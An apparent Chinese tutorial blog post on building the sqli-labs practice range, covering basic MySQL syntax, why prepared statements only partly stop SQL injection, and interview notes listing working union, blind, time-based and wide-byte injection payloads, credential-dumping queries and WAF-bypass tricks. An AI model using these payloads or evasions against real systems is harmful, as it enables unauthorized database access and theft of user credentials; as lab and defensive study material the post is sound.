sqlilabs注入靶场搭建与sql语句

1、搭建环境

github上适配php7的靶场

1.1、配置
  • 在sql-connections下的db-creds.inc中将小皮面板中的密码填入

2、必备Sql语句

2.1、基本语句
复制代码
#创建数据库
create database test1;
#展示所有数据库
show databases;
#使用test1数据库
use test1;
#查看当前数据库中的表
show tables;
#获取当前使用的数据库
select database();
#删除数据表
drop table table1;
#查询当前的用户
select user();
#获取当前数据库版本
select version();
#查看schemata这个表的结构
DESC schemata;
2.2、常用关键字
  1. order by
  • 给查询结果排序,指定一个或多个字段,指定升序 ASC / 降序 DESC

  • 常用于通过报错临界点测试出该表有多少列

    #按SELECT出来的id列进行排序,ASC=升序(默认),DESC=降序
    select * from member order by id;
    #按SELECT出来的第4列进行排序
    select * from member order by 4;

  1. union
  • 常用于联合查询,左右两个表列数一致

    select id,username from users union select id,content from message;

2.3、常用函数
  • 截断

    select substr('root',1,1); #执行结果------r
    select substring('root',2,2);#执行结果------oo
    #以上两个函数作用类似
    select left('root',2);#执行结果------ro
    select right('root',2);#执行结果------ot
    select mid('root',1,1); #执行结果------r

  • 字符转换

    ASCII函数用来返回给定字符串的第一个字符的ASCII码

    select ascii('root'); #执行结果------114
    #将 ASCII码转换成字符
    select char(65);#执行结果------A

  • 获取数据长度

    select length(database());

  • 时间

    now()#返回当前的日期和时间
    sysdate()#返回当前的日期和时间

3、预编译与sql注入

1. 为什么预编译可以防止SQL注入?
  • 原因:预编译将SQL语句与参数分开处理,语句先编译成固定结构,参数再传入,不再视为SQL代码的一部分。

  • 效果:消除了语句的歧义,防止用户输入被解释为SQL指令,从而阻断注入。


2. 预编译能完美防御SQL注入吗?
  • 不能完全防御 ,因为预编译只能保护可参数化的位置(如WHERE条件中的值)。

  • 不可参数化的位置(如表名、列名、ORDER BY、GROUP BY、LIMIT、JOIN等)仍可能被注入。


3. 哪些位置不可参数化?
  • 表名、列名

  • ORDER BY、GROUP BY

  • LIMIT

  • JOIN

  • 其他SQL关键字或结构


4. 为什么这些位置不可参数化?
  • 预编译通常自动为字符串参数添加引号,而这些位置(如字段名)不能带引号,否则会引发语法错误。

  • 例如:ORDER BY 'username' 是无效的,正确应为 ORDER BY username。


5. 预编译的两种类型:
  • 虚假预编译(模拟预编译):

    • 客户端模拟参数绑定,实际是字符串转义和拼接。

    • 仍可能被宽字节注入等绕过。

  • 真实预编译:

    • 数据库层面编译语句,参数以二进制形式传递。

    • 安全性更高,但仍不能保护不可参数化位置。


6. 宽字节注入与预编译:
  • 在虚假预编译下,如果数据库与客户端编码不一致(如GBK),可能通过宽字节绕过转义。

  • 真实预编译下,参数以十六进制传递,不易被绕过。


7. ORDER BY 注入示例:
  • 由于ORDER BY不能参数化,攻击者可注入条件如:

    ORDER BY rand(ascii(substr(database(),1,1))>96)

8. 预编译的局限性总结:
  • 设计初衷是提升性能(减少语法树重复构建),而非专门防注入。

  • 仅适用于值参数,不适用于SQL结构部分。

  • 在不可参数化位置仍需依赖其他防护措施(如白名单、严格过滤)。


9. 防御建议:
  • 使用真实预编译(如设置PDO::ATTR_EMULATE_PREPARES = false)。

  • 对不可参数化的位置进行白名单验证(如固定选项、映射表)。

  • 避免直接拼接用户输入到SQL结构部分。

  • 结合WAF、输入验证、编码统一等多层防护。


10. 面试常见问题:
  • SQL注入类型(盲注、宽字节、二次注入等)
1. 盲注(Blind SQL Injection)
  • 布尔盲注:通过页面返回的True/False状态推断数据

    • 如:id=1' and ascii(substr(database(),1,1))>97--+
  • 时间盲注:通过页面响应时间推断数据

    • 如:id=1' and if(ascii(substr(database(),1,1))>97,sleep(5),0)--+
2. 宽字节注入
  • 条件 :数据库使用GBK等宽字符集,且PHP使用addslashes()等转义

  • 原理 :%df%27 → %df%5c%27 → 運'(吃掉转义符\)

  • 示例 :id=%df%27 union select 1,2,3--+

3. 二次注入
  • 过程:

    1. 输入被转义存储到数据库(如admin'--)

    2. 从数据库取出时转义符被移除

    3. 在另一处使用该数据时触发注入

  • 特点:绕过前端过滤,危害更大

4. 其他类型
  • 联合查询注入 :union select

  • 报错注入 :利用extractvalue()、updatexml()等

  • 堆叠注入:执行多条SQL语句(需支持如PDO)

  • Cookie注入 、UA注入 、Referer注入

  • 手工注入经验
基本步骤:
  1. 判断注入点 :'、"、)、and 1=1、and 1=2

  2. 判断字段数 :order by n

  3. 判断回显位 :union select 1,2,3,...,n

  4. 获取数据库信息:

    • database()、user()、version()
  5. 查表名:

复制代码
   union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
  1. 查列名:

    复制代码
    union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
  2. 脱数据:

    复制代码
    union select username,password from users limit 0,1
盲注手工技巧:
  • 二分法加快判断:ascii(substr(password,1,1))>100

  • 使用length()判断长度

  • 注意substr()和mid()的用法

11、绕过WAF的方法
1. 编码绕过
URL编码 :union → %75%6e%69%6f%6e
双重URL编码 :%25%37%35%25%36%65...
Unicode编码 :u → \u0075
HTML编码 :< → &lt;
2. 大小写/混写
UnIoN SeLeCt
UNunionION SELselectECT
3. 注释符分割
/**/、/*!*/、/*!50000*/
/*!union*/select
U/**/NI/**/ON
4. 等价函数/语法替换
version() → @@version
substr() → mid()、substring()
ascii() → hex()、bin()
and → &&,or → ||
5. 特殊符号
反引号:``select `version()```
加号:select+user()
换行符:%0a、%0d
空白符:%09(tab)、%20(space)
6. 分块传输
修改Transfer-Encoding: chunked
拆分恶意payload
7. 协议层面绕过
参数污染 :id=1&id=2 union select
多参数 :id=1 union/*&id=*/select 1,2,3
JSON/XML格式:WAF可能解析不一致
8. 宝塔/WAF特定绕过
雷池WAF:利用解析差异
云WAF:寻找真实IP直连
规则绕过:测试未覆盖的边缘情况
9. 时间延迟绕过
缓慢发送payload
使用长字符串耗尽WAF资源
相关推荐
updayday85420 分钟前
客户附件不该发往旧邮箱,如何在发送前拦截 - Ping64 邮件安全管控
大数据·网络·数据库·安全·智能路由器
倔强的石头_26 分钟前
连接异常排障手册:拒连、超时、认证失败、空闲断开
数据库
lhbweilai1 小时前
QT(了解各个控件和布局)上
数据库·qt
莫晓燚1 小时前
搭建Redis 主从复制---实战
数据库·redis·缓存
灵晔君2 小时前
【MySQL】数据库基础
数据库·mysql·adb
香蕉大香蕉(06敬畏市场)2 小时前
MySQL 单点详解(03)
java·数据库·mysql·面试·八股·大厂实习
赤生云电竞2 小时前
云游戏边缘节点部署:机房选址与网络拓扑优化实践——接入延迟、VXLAN与GPU虚拟化选型
数据库·游戏
Y003 小时前
PostgreSQL 权限管理踩坑记:从 42501 到默认权限和 RLS
数据库·postgresql
呆萌很3 小时前
达梦(DM8)数据库常用SQL
数据库·sql
跟太阳说早安3 小时前
极简数据库SQL
数据库·sql